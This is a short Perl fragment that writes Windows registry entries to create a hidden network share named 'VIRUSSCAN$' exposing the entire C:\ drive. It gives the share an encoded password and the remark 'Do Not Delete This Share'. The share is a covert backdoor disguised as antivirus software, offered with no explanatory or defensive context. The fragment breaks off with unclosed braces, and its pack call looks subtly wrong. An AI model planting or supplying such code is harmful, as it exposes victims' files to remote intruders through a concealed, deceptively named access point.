use Win32::TieRegistry;
$Registry->Delimiter("/");
$Registry->{"LMachine/SOFTWARE/Microsoft/Windows/CurrentVersion/Network/"}={
"LanMan/" => {
 "VIRUSSCAN\$/" => {
 "/Flags" => ["0x00000102","REG_DWORD"],
 "/Parm1enc" => ["","REG_BINARY"],
 "/Parm2enc" => [ pack("A","1f","b0","67","8c","79"),"REG_BINARY"],
 "/Type" => ["0x00000000","REG_DWORD"],
 "/Path" => "C:\\",
 "/Remark" => "Do Not Delete This Share"},
 },